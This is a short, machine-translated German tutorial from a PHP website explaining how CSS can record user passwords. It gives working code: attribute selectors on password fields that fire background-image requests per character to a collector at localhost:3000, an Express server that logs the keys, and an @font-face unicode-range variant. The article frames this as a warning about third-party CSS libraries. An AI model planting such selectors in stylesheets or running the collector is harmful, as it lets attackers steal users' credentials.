Heim  >  Artikel  >  Web-Frontend  >  CSS zeichnet Benutzerkennwörter für die Codefreigabe auf

CSS zeichnet Benutzerkennwörter für die Codefreigabe auf

小云云
小云云Original
2018-03-12 10:05:351497Durchsuche

In diesem Artikel werden hauptsächlich relevante Informationen zur CSS-Methode zum Aufzeichnen von Benutzerkennwörtern vorgestellt. Einfacher CSS-Code entspricht nicht einmal der Turing-vollständigen Sprache, kann aber auch zu einem Werkzeug für einige Angreifer werden. Hier finden Sie eine kurze Einführung in die Verwendung CSS Zum Aufzeichnen des Benutzerpassworts. Diese CSS-Skripte werden jedoch in CSS-Bibliotheken von Drittanbietern angezeigt. Daher müssen Sie bei der Verwendung von CSS-Bibliotheken von Drittanbietern vorsichtig sein, um die Codesicherheit zu gewährleisten. Gehen Sie direkt zur Code-Analyse:


input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

Das Obige ist Teil des Codes. Lassen Sie uns den CSS-Code analysieren.

input[type="password"] ist ein CSS Selektor und seine Funktion ist: Wählen Sie das Passwort-Eingabefeld aus. [value$="0"] bedeutet, dass der übereinstimmende Eingabewert mit 0 endet. Also:


input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

Die Bedeutung des obigen Codes besteht darin, dass Sie die Schnittstelle http://localhost:3000/0 anfordern, wenn Sie 0 in das Passwortfeld eingeben. aber durchsuchen Standardmäßig speichert der Browser die vom Benutzer eingegebenen Werte nicht im Wertattribut, aber einige Frameworks, wie z. B. React, synchronisieren diese Werte.

Solange Sie das Skript wie unten gezeigt verwenden, können Sie die Eingabedateninformationen des Benutzers speichern.

Werfen wir einen Blick auf den serverseitigen Code:


const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("启动,监听3000端口"));

Verwenden Sie Express, um einen Server zu erstellen und überwachen Sie Port 3000. Solange http://localhost:3000/:key angefordert wird, kann der Wert des Schlüssels ausgegeben und der Eingabewert auf dem Server aufgezeichnet werden. Solange also jeder Eingabewert übereinstimmt und dann über das Hintergrundbild eine vorbereitete Schnittstelle angefordert wird, kann die Eingabe des Benutzers aufgezeichnet werden. Eine ähnliche Methode zeichnet den CSS-Code des Benutzerinhalts @font-face auf {


   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

Sie verwenden eine einfache Schriftartenbibliothek von CSS, solange Ihre Seite Folgendes enthält: Es wird http://localhost:3000/a angefordert, damit Sie wissen, dass Ihre Seite das a-Zeichen enthält.

Verwandte Empfehlungen:

PHP implementiert das Speichern von Website-Benutzerkennwörtern in der CSS-Dateifreigabe

So speichern Sie Benutzerkennwörter sicher

Analyse des PHP-Benutzerpasswort-Verschlüsselungsalgorithmus

Das obige ist der detaillierte Inhalt vonCSS zeichnet Benutzerkennwörter für die Codefreigabe auf. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn